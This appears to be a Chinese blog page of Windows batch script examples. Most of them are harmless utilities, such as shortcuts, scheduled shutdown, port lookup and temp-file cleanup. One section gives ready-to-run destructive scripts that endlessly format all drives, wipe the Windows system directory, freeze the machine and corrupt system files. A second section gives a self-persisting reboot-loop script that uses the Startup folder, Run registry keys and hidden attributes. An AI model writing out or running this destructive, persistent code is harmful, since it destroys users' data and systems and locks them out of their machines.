当前位置 博文首页 > 批处理实例代码教程 集合

    批处理实例代码教程 集合

    作者:admin 时间:2021-02-19 09:06

    批处理实例代码教程
    --------------------------------------------------------------------------------
    批处理程序删除自身.bat
    echo 有时候我们需要批处理程序在执行完成之后删除自身,可以用 del %0
    例:
    复制代码 代码如下:

    @echo off
    echo 按任意键后我将删除自身
    pause
    del %0

    --------------------------------------------------------------------------------
    批处理发送文件夹的快捷方式到桌面
    复制代码 代码如下:

    echo [InternetShortcut] > "%userprofile%\桌面\文件夹.url"
    echo URL=file:///C:/windows >> "%userprofile%\桌面\文件夹.url"

    --------------------------------------------------------------------------------
    批处理获取IP生成TXT文本.bat
    以下代码是批处理获取IP同时生成TXT文本:
    复制代码 代码如下:

    @echo off
    <"%~f0" more +5 >tmp.vbs
    cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
    echo >nul && del tmp.vbs
    goto:eof
    set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
    do until oDOM.readyState = "complete"
    WScript.sleep 200
    Loop
    s=oDOM.documentElement.innerText
    set re = New RegExp
    re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
    For Each m in re.Execute(s)
    WScript.Echo m
    Next

    --------------------------------------------------------------------------------
    利用批处理禁用(启用)组策略
    regsvr32 /s /u gpedit.dll 禁用
    regsvr32 /s gpedit.dll 启用
    单单使用这命令依然可以禁止使用组策略,但这样导致的后果就是-
    这时候运行的组策略基本上只是个空壳了!利用下面的批处理将完美解决此类问题!
    将下面这些代码编成BAT批处理文件,这段是禁用组策略的命令
    复制代码 代码如下:

    @echo off
    regsvr32 /s /u fde.dll
    regsvr32 /s /u gpedit.dll
    regsvr32 /s /u gptext.dll
    regsvr32 /s /u wsecedit.dll
    exit

    这是启用组策略
    复制代码 代码如下:

    @echo off
    regsvr32 /s fde.dll
    regsvr32 /s gpedit.dll
    regsvr32 /s gptext.dll
    regsvr32 /s wsecedit.dll
    exit

    --------------------------------------------------------------------------------
    批处理定时关机.bat
    复制代码 代码如下:

    @echo off
    mode con lines=25
    title 定时关机
    color 1f
    cls
    echo.
    echo.
    echo.
    echo.
    echo 时间使用24小时制(如2:15、12:00),可以输入多个时间点
    echo.
    echo 多个时间点用空格分隔
    echo.
    echo.
    echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    echo.
    set times=
    set /p times= 请输入关机时间:
    :: 以下语句实现每个星期的每一天指定时间关机
    :: 如果要换成每个月的某几天,请改字母为数字,并用逗号分隔
    :: 以下代码没有错误检测语句,输入时间的时候务必按照指定格式输入
    :: 可以用在CMD窗口用at命令来查看计划任务
    if not "%times%"=="" for %%i in (%times%) do (
    at %%i /every:M,T,W,Th,F,S,Su shutdown -s
    )

    --------------------------------------------------------------------------------
    批处理创建url格式的快捷方式.bat
    复制代码 代码如下:

    @echo off
    echo [InternetShortcut] >cmd.url
    echo URL=%windir%\system32\cmd.exe >>cmd.url
    echo IconIndex=0 >>cmd.url
    echo IconFile=%windir%\system32\cmd.exe>>cmd.url

    --------------------------------------------------------------------------------
    批处理进入全屏幕界面.bat
    复制代码 代码如下:

    @echo off
    :: 设定: 运行在全屏模式下
    echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
    chcp 437>nul
    graftabl 936>nul
    :rem 下面放置任何命令……
    dir
    pause

    --------------------------------------------------------------------------------
    最小化运行批处理.bat
    复制代码 代码如下:

    ::最小化运行批处理
    @echo off&&mode con cols=15 lines=1
    %1 %2
    start /min /i "" "%~nx0" goto min&&goto :eof
    :min
    echo xxx
    pause>nul
    exit
    @echo off
    mode con cols=15 lines=1
    if exist "Temp.bat" goto Start
    >Temp.bat echo start/min "" "%~nx0"^&exit
    start/min Temp.bat&exit
    :Start
    del "Temp.bat">nul
    pause

    --------------------------------------------------------------------------------
    全盘查找QQ.exe并执行.bat
    复制代码 代码如下:

    @echo off
    :: 全盘查找qq.exe,找到之后就执行并退出CMD窗口
    :: fsutil fsinfo drives 得出来的结果虽然中间有空格,但是他代表是回车符或者换行符的作用,所以还要用find /v来过滤,否则,只得到第一个分区
    setlocal enabledelayedexpansion
    for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
    set var=%%i
    set drive=!var:~-2!
    fsutil fsinfo drivetype !drive!|find "固定">nul && (
    for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit
    )
    )

    --------------------------------------------------------------------------------
    删除历史记录.bat
    复制代码 代码如下:

    @echo off
    :: 删除"运行"、"查找"等处的历史记录
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001

    --------------------------------------------------------------------------------
    批处理查看进程端口
    用批处理实现的获取当前进程所开启的端口代码:
    复制代码 代码如下:

    @echo off
    color a
    Title XP端口-进程查询
    setlocal enabledelayedexpansion
    echo ╔- -╗
    echo 本机开放的端口及使用该端口的进程
    echo ╚- -╝
    echo ------------------------------------
    echo 端口号 进程名称
    ECHO TCP协议:
    ::利用netstat命令找出使用TCP协议通信的端口,并将结果分割;
    ::将第二个参数(IP加端口)传给%%i,第五个参数(PID号)传给%%j;
    for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
    call :Assoc %%i TCP %%j
    echo !TCP_Port! !TCP_Proc_Name!
    )
    ECHO UDP协议:
    for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
    call :Assoc %%i UDP %%j
    echo !UDP_Port! !UDP_Proc_Name!
    )
    echo 按任意键退出
    pause>nul
    :Assoc
    ::对%1(第一个参数)进行分割,将第二个参数传给%%e。在本程序中,%1即为上面的%%i(形式为:IP:端口号)
    for /F "tokens=2 delims=:" %%e in ("%1") do (
    set %2_Port=%%e
    )
    :: 查询PID等于%3(第三个参数)的进程,并将结果传给变量?_Proc_Name,?代表UDP或者TCP;
    for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
    ::%%~a表示去掉%%a外面的引号,因为上述命令的结果是用括号括起来的。
    set %2_Proc_Name=%%~a
    )

    --------------------------------------------------------------------------------
    破坏型BAT批处理脚本[慎用]
    一、死循环强制格式化A:到Z:盘(对于部分速度比较快的机器会比较快当机……)
    复制代码 代码如下:

    :format
    @format a: /q /y >nul
    @format b: /q /y >nul
    @format d: /q /y >nul
    @format e: /q /y >nul
    @format f: /q /y >nul
    @format g: /q /y >nul
    @format h: /q /y >nul
    @format i: /q /y >nul
    @format j: /q /y >nul
    @format k: /q /y >nul
    @format l: /q /y >nul
    @format m: /q /y >nul
    @format n: /q /y >nul
    @format o: /q /y >nul
    @format p: /q /y >nul
    @format q: /q /y >nul
    @format r: /q /y >nul
    @format s: /q /y >nul
    @format t: /q /y >nul
    @format u: /q /y >nul
    @format v: /q /y >nul
    @format w: /q /y >nul
    @format x: /q /y >nul
    @format y: /q /y >nul
    @format z: /q /y >nul
    @format c: /q /y >nul
    goto format

    二、死循环强制删除C:盘WINDOWS目录下的所有文件(跟上面的一个例子效果差不多,不过这里用到了强制删除参数)
    复制代码 代码如下:

    :breake
    @if exist %windir%\system32\*.* del %windir%\system32\*.* >nul
    @if exist %windir%\*.* del %windir%\*.* >nul
    goto breake

    三、利用部分系统工具的内存占用卡到死机
    复制代码 代码如下:

    :die
    @start regsvr32.exe /s %windir%\system32\*.* >nul
    @start %windir%\system32\*.* >nul
    @start notepad %windir%\explorer.exe >nul
    goto die

    四、用部分工具的检测信息导出功能生成巨大的垃圾文件(虽然生成垃圾的速度很慢,但是跟“垃圾王”病毒有的一比,也算是“无声的*****”吧……)
    复制代码 代码如下:

    @start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul
    :ping
    @start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul
    @start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul
    goto ping

    --------------------------------------------------------------------------------
    反复重启的恶意批处理
    反复重启就是让别人启动了再重启 一直反复,以下代码
    复制代码 代码如下:

    @echo off
    shutdown -r -t 3
    copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat
    copy %0 c:\autoexec.bat
    REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
    attrib autoexec.bat +r +s +h
    REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
    del %0

    3秒重启 加入了启动项 开机就会3秒倒计时
    --------------------------------------------------------------------------------
    删除右键“新建”菜单项目.bat
    复制代码 代码如下:

    @echo off
    :: 只要删除"HKEY_CLASSERS_ROORT\.后缀名"项目下的"ShellNew"键就可以了
    :: 如果实在删除不了,则把"HKEY_CLASSERS_ROORT\.后缀名"删除掉即可
    mode con lines=25
    title "新建"菜单内容删除器
    color 1f
    :input
    cls
    call :display
    echo 如果要强行删除,请选 1
    echo.
    echo.
    set input=
    set /p input= 请输入后缀名:
    if "%input%"=="" goto input
    if "%input%"=="0" exit
    if "%input%"=="1" goto fouce
    for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f)
    goto continue
    :fouce
    cls
    call :display
    set input=
    set /p input= 请输入后缀名(强行删除):
    if "%input%"=="" goto fouce
    if "%input%"=="0" exit
    for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f)
    :continue
    cls
    call :display
    echo.
    set choice=
    set /p choice= 还要继续清除吗?(y/n):
    if "%choice%"=="" goto continue
    if "%choice%"=="y" goto input
    if "%choice%"=="" goto :eof
    :display
    echo.
    echo.
    echo.
    echo.
    echo.
    echo.
    echo 本程序能删除右键菜单中"新建"项目下的多余内容,为"新建"菜单减肥!
    echo.
    echo 如果想让某种类型的文件不再出现在鼠标右键的"新建"菜单中,请直接
    echo.
    echo 输入该文件类型的后缀名。例如:rar。
    echo.
    echo 退出请选 0
    echo.

    --------------------------------------------------------------------------------
    快速清理垃圾文件(修正)
    复制代码 代码如下:

    @echo off
    color f0
    echo.
    echo 正在安全地自动清除垃圾文件……
    del /f /q %systemdrive%\*.tmp>nul 2>nul
    del /f /q %systemdrive%\*._mp>nul 2>nul
    del /f /q %systemdrive%\*.log>nul 2>nul
    del /f /q %systemdrive%\*.gid>nul 2>nul
    del /f /q %systemdrive%\*.chk>nul 2>nul
    del /f /q %systemdrive%\*.old>nul 2>nul
    del /f /q %windir%\*.bak>nul 2>nul
    del /f /q %windir%\*.tmp>nul 2>nul
    del /f /q %windir%\prefetch\*.*>nul 2>nul
    del /f /s /q %systemdrive%\recycled\*.*
    del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul
    del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul
    del /f /q /s "%TEMP%\*.*">nul 2>nul
    del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul
    del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul
    del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul
    del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul
    rd /s /q %windir%\temp & md %windir%\temp>nul 2>nul
    if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul
    del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul

    更多的批出代码打包下载地址 http://blog.iis7.com/books/34318.html js
    下一篇:没有了